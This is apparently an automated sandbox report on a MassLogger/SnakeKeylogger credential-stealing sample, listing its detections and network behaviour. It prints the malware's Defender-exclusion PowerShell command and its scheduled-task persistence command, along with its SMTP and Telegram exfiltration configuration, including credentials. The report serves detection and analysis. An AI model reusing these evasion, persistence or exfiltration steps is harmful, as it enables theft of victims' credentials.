Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe", ParentImage: C:\Users\user\Desktop\MB263350411AE_1.scr.exe, ParentProcessId: 7428, ParentProcessName: MB263350411AE_1.scr.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe", ProcessId: 7588, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\MB263350411AE_1.scr.exe", ParentImage: C:\Users\user\Desktop\MB263350411AE_1.scr.exe, ParentProcessId: 7428, ParentProcessName: MB263350411AE_1.scr.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1488.tmp", ProcessId: 7608, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T13:56:58.649423+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	193.122.130.0	80	TCP
2025-01-14T13:57:01.442234+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack

Malware Configuration Extractor: MassLogger {"EXfil Mode": "SMTP", "From": "serverhar244@gpsamsterdamqroup.com", "Password": " feXwu@m?K@@L ", "Server": "fiber13.dnsiaas.com", "To": "benfavour015@gmail.com", "Port": 587}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Virustotal: Detection: 36%			Perma Link

Multi AV Scanner detection for submitted file

Source: MB263350411AE_1.scr.exe	Virustotal: Detection: 36%			Perma Link
Source: MB263350411AE_1.scr.exe	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: MB263350411AE_1.scr.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: MB263350411AE_1.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49736 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: MB263350411AE_1.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: yBlD.pdb source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr
Source:	Binary string: yBlD.pdbSHA256> source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr

Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 074C341Ch	0_2_074C384C
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 074C341Ch	0_2_074C3B75
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 00DF9731h	6_2_00DF9480
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 00DF9E5Ah	6_2_00DF9A40
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 00DF9E5Ah	6_2_00DF9A30
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 00DF9E5Ah	6_2_00DF9D87
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A47C9h	6_2_054A4520
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A8830h	6_2_054A8588
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AF700h	6_2_054AF458
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A76D0h	6_2_054A7428
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A76D0h	6_2_054A7428
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AE9F8h	6_2_054AE750
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A5929h	6_2_054A5680
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A83D8h	6_2_054A8130
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AE5A0h	6_2_054AE180
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AF2A8h	6_2_054AF000
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A54D1h	6_2_054A5228
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A5079h	6_2_054A4DD0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A7F80h	6_2_054A7CD8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A7278h	6_2_054A6FD0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A4C21h	6_2_054A4978
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A7B28h	6_2_054A7880
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AFB58h	6_2_054AF8B0
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054AEE50h	6_2_054AEBA8
Source: C:\Users\user\Desktop\MB263350411AE_1.scr.exe	Code function: 4x nop then jmp 054A5E15h	6_2_054A5AD8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 07732704h	7_2_07732B34
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 07732704h	7_2_07732E5D
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 01239731h	12_2_01239480
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 01239E5Ah	12_2_01239A30
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 01239E5Ah	12_2_01239D87
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B5E15h	12_2_030B5AD8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B54D1h	12_2_030B5228
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B83D8h	12_2_030B8130
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BE5A0h	12_2_030BE180
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BF2A8h	12_2_030BF000
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BE9F8h	12_2_030BE750
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B5929h	12_2_030B5680
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B47C9h	12_2_030B4520
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B8830h	12_2_030B8588
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B76D0h	12_2_030B7428
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BF700h	12_2_030BF458
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BEE50h	12_2_030BEBA8
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B4C21h	12_2_030B4978
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B7B28h	12_2_030B7880
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030BFB58h	12_2_030BF8B0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B7278h	12_2_030B6FD0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B5079h	12_2_030B4DD0
Source: C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe	Code function: 4x nop then jmp 030B7F80h	12_2_030B7CD8

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 193.122.130.0:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49736 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49739 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000293A000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000313C000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000310C000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.00000000030D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/d
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgd
Source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000296B000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000316B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000296B000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000316B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgd
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1708901730.00000000029E1000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1723040304.0000000003336000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000310C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1714574127.0000000006D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: MB263350411AE_1.scr.exe, 00000006.00000002.2907398360.000000000294E000.00000004.00000800.00020000.00000000.sdmp, nDVstwLnVvg.exe, 0000000C.00000002.2908519169.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
Source: MB263350411AE_1.scr.exe, nDVstwLnVvg.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.nDVstwLnVvg.exe.43aa0a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.MB263350411AE_1.scr.exe.3a09990.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.MB263350411AE_1.scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.MB263350411AE_1.scr.exe.3be5ac0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000007.00000002.1743871587.0000000004507000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.2904272614.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1709843168.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1709843168.0000000003BE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1709843168.0000000003A27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7428, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: MB263350411AE_1.scr.exe PID: 7768, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: nDVstwLnVvg.exe PID: 7836, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

